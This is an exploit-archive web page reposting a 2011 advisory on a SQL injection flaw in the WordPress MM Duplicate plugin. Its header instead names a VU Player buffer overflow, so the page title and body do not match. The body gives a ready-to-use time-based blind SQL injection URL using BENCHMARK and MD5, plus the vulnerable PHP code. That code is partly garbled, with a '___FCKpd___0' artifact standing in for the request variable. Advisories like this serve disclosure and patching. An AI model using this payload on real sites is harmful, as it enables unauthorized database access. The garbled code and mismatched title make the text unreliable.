首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
VU Player stack buffer overflow Local Exploit
来源:http://www.facebook.com/raza.whitehat 作者:Debasish 发布时间:2011-08-23  
# Exploit Title: WordPress MM Duplicate plugin <= 1.2 SQL Injection Vulnerability
# Date: 2011-08-22
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/mm-duplicate.zip
# Version: 1.2 (tested)
 
---
PoC
---
http://www.site.com/index.php?duplicate=1&post=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)
 
---------------
Vulnerable code
---------------
class mm_duplicate_pages_posts
{
    ...
    function mm_duplicate_pages_posts()
    {
        ...
        add_action('init', array(&$this, 'dup'));
        ...       
    }
 
    function dup()
    {
        if(
___FCKpd___0
GET['duplicate']) { $id =
___FCKpd___0
GET['post']; $dup = new mm_duplicate(); ... $dup->duplicate_post_page($id); } } ... } class mm_duplicate { function duplicate_post_page($id) { ... $select = "select * from ".$wpdb->prefix."postmeta where post_id = $id"; ... } ... }

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Moyea FLV Player(.flv)Local Cr
·F-Secure Multiple Products Act
·Video Merge split Local Buffer
·WAR-FTP Remote Buffer Overflow
·WAR-FTP Remote Buffer Overflow
·Zinf Media Player Local Buffer
·IE for Windowse Mobile Denial
·icoolplayer v1.0.1.0 memory co
·Opera Web Browser 11.50 DoS
·Zortam Mp3 Center 3.50 memory
·Zen Media Player (.pls) Local
·iPhone Safari Remote Crash
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved